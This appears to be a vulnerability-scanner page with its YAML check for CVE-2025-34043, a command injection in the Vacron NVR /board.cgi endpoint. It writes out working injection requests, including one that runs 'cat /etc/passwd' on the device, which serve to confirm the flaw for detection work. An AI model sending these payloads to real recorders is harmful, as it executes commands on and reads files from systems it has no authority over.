Vacron — 1 vulnerability check
noctis ships 1 vulnerability check for Vacron, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Vacron NVR board.cgi command injection
| CVE | CVE-2025-34043 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/vacron/CVE-2025-34043.yaml |
Sends a command in the cmd parameter of the unauthenticated /board.cgi that prints NOCTIS followed by the sum of two random numbers computed by the recorder shell; finding that exact sum, never sent in the request, in the reply confirms command execution (QoD 97). When the shell form gives no proof, it sends `cat /etc/passwd` and a control `cat` of a random absent /etc/passwd.<random> file, and reports at QoD 75 only when the passwd root entry comes back for the real file and not for the absent one, so a server that serves passwd content everywhere does not match.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /board.cgi?cmd=echo%20NOCTIS%24%28%28{{p.a}}%2B{{p.b}}%29%29 HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
resp.bannerforNOCTIS[0-9]{7}→ finding QoD 97: GET /board.cgi?cmd=echo NOCTIS$((…+…)) returned the shell-computed marker … at …:… - Raw TCP (TLS on HTTPS), sent verbatim:
GET /board.cgi?cmd=cat%20/etc/passwd HTTP/1.0 - Raw TCP (TLS on HTTPS), sent verbatim:
GET /board.cgi?cmd=cat%20/etc/passwd.{{p.absent}} HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
passwd_resp.bannerforroot:[^:\r\n]*:0:0:→ finding QoD 75: GET /board.cgi?cmd=cat /etc/passwd returned the passwd root entry, and the control cmd=cat /etc/passwd.… did not, at …:…
References:
Feed source — tests/vulnerabilities/vacron/CVE-2025-34043.yaml
uid: 5e01eacb-3e74-4de2-9234-ca770c29fa2f
name: "CVE-2025-34043 — Vacron NVR board.cgi command injection (CVSS 10.0)"
description: |
Sends a command in the cmd parameter of the unauthenticated /board.cgi that prints
NOCTIS followed by the sum of two random numbers computed by the recorder shell;
finding that exact sum, never sent in the request, in the reply confirms command
execution (QoD 97). When the shell form gives no proof, it sends `cat /etc/passwd`
and a control `cat` of a random absent /etc/passwd.<random> file, and reports at QoD 75 only when the
passwd root entry comes back for the real file and not for the absent one, so a
server that serves passwd content everywhere does not match.
cves: [CVE-2025-34043]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.25
tags: [vacron, nvr, rce, command-injection]
services: [http, https]
author: noctis
version: "2.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-34043"
- "OpenVAS NASL 2017/gb_vacron_nvr_rce_vuln.nasl (GPL-2.0-only)"
# Ported from OpenVAS NASL 2017/gb_vacron_nvr_rce_vuln.nasl (GPL-2.0-only, Greenbone Community Feed).
# board.cgi passes cmd= to a shell unauthenticated.
steps:
# 1) Computed proof (%24%28%28A%2BB%29%29 = $((A+B))): only the
# shell-computed sum proves execution; a reply that echoes the request,
# or serves passwd for every request, cannot contain it.
- id: build
action: script
store_as: p
code: |
let a = rand_int(500000, 999999);
let b = rand_int(500000, 999999);
#{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b), absent: "noctis" + rand_hex(6) }
- id: init
action: set_var
var_name: resp
var_value: {connected: false, banner: ""}
- id: probe
action: tcp_connect
port: "{{port}}"
send: "GET /board.cgi?cmd=echo%20NOCTIS%24%28%28{{p.a}}%2B{{p.b}}%29%29 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: resp
- id: check
action: script
store_as: hit
code: |
type_of(resp.banner) == "string" && stridx(resp.banner, p.marker) >= 0
- id: detect
action: match
source: resp.banner
pattern: "NOCTIS[0-9]{7}"
condition: "hit == true"
on_match:
finding:
confidence_delta: 0.7
qod: 97
evidence: "GET /board.cgi?cmd=echo NOCTIS$(({{p.a}}+{{p.b}})) returned the shell-computed marker {{p.marker}} at {{target_host}}:{{port}}"
stop: true
# 2) Fallback for a command runner without arithmetic expansion: read
# /etc/passwd, and a random absent /etc/passwd.<rand> as control (the
# word "passwd" in both, so a keyword-triggered honeypot answers both). Only a passwd root
# entry for the real file and none for the absent one counts.
- id: init-fallback
action: set_var
var_name: passwd_resp
var_value: {connected: false, banner: ""}
- id: init-control
action: set_var
var_name: ctrl_resp
var_value: {connected: false, banner: ""}
- id: passwd-probe
action: tcp_connect
port: "{{port}}"
condition: "resp.connected"
send: "GET /board.cgi?cmd=cat%20/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: passwd_resp
- id: control-probe
action: tcp_connect
port: "{{port}}"
condition: "passwd_resp.connected"
send: "GET /board.cgi?cmd=cat%20/etc/passwd.{{p.absent}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: ctrl_resp
- id: verdict
action: script
store_as: passwd_hit
code: |
passwd_resp.connected && ctrl_resp.connected
&& type_of(passwd_resp.banner) == "string" && type_of(ctrl_resp.banner) == "string"
&& ereg("root:[^:\r\n]*:0:0:", passwd_resp.banner)
&& !ereg("root:[^:\r\n]*:0:0:", ctrl_resp.banner)
- id: detect-passwd
action: match
source: passwd_resp.banner
pattern: "root:[^:\\r\\n]*:0:0:"
condition: "passwd_hit == true"
on_match:
finding:
confidence_delta: 0.5
qod: 75
evidence: "GET /board.cgi?cmd=cat /etc/passwd returned the passwd root entry, and the control cmd=cat /etc/passwd.{{p.absent}} did not, at {{target_host}}:{{port}}"